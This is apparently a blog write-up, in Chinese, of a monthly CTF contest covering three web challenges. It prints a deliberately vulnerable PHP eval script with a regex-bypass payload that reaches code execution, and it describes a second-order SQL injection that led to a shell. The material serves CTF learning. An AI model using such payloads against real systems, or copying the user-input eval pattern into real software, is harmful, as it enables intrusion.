5月月賽總結

WriteUp

web1是一道正則匹配繞過的…web2是一個sql注入題,web3大概也是sql注入吧。

Web1

源碼貼出來:

<?php
error_reporting(0);
if(!isset($_GET['act']) || !isset($_GET['p'])){
    highlight_file(__FILE__);
    exit();
}
if(trim($_GET['act']) === "" || trim($_GET['p']) === ""){
    die('no null!');
}
$act = $_GET['act'];
$act = addslashes($act);
$p = $_GET['p'];
$p = addslashes($p);
if(preg_match('/[A-Za-z0-9(){};<>`]/i',$p) == 1){
    die('waf');
}
if(preg_match('/[{};<>`]/i',$act) == 1){
    die('waf');
}
if(preg_match('/[A-Za-z0-9(){};]+\(/i',$act) == 1){
    die('hacker, your act has some problems!');
}
echo $p.$act;
echo $_;
eval($p.$act.';');

理解了大半天,最後還是把正則表達式給理解錯了…心塞。

[] 是定義匹配的字符範圍。比如[a-zA-Z0-9]表示相應位置的字符要匹配英文字符和數字。

p參數的限制是不能輸入任何出現在[]之間的字符,單獨輸入字母、數字、括號等都是會被匹配到的。

act參數的限制首先是不允許輸入{};<>中的任何一個字符。再其次,要求[]中的任意字符不能直接接(,剛開始理解爲壓根不能出現(

最終的payload爲:
?p=$_&act=GET[1]()&1=phpinfo

當時做題的時候對正則表達式會一直匹配,直到結束理解不太深刻吧。

Web2

這是一道原題。suctf2018 mutilsql
做的時候可以通過盲注拿到數據庫user()的值爲suctf@host…當然也是運氣好,恰好測試了這個字段,然後就去找原題,很順利地找到,直接用了poc…就getshell,拿到flag了。

題目的問題是:
後臺在顯示用戶的信息的時候,會在數據庫中進行一個查詢操作,這裏存在一個二次注入。後臺的sql語句應該是:
select * from xxx where username='username'
在註冊時候單引號等等應該都被過濾了,但是在再次查詢時候過濾不夠,導致sql注入。

參考鏈接:
http://www.bendawang.site/2018/05/28/SUCTF-2018-部分題解/?nsukey=YpkSt2lGloyM%2BlHh3hFfzYV1rPocVKCT7U8JS741FYca0aPXiPDHCI5iOteaUYN6ppfrs8kEPemSrzILdjpuzuP0ZsrWvZMNWbTkT2n3ADh8QjjBp6tpFds8S76Z086KRA6TTSw%2BplpLo5Zf%2BMda9hp%2Ff%2BIfXScg3dDifSKzXIwBoDXBSZes4KCdvRUWRyGXPgB4Wrj5Y1iXc50RnQDpJQ%3D%3D

Web3

沒有思路,只知道過濾了一些報錯注入會用到的函數。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章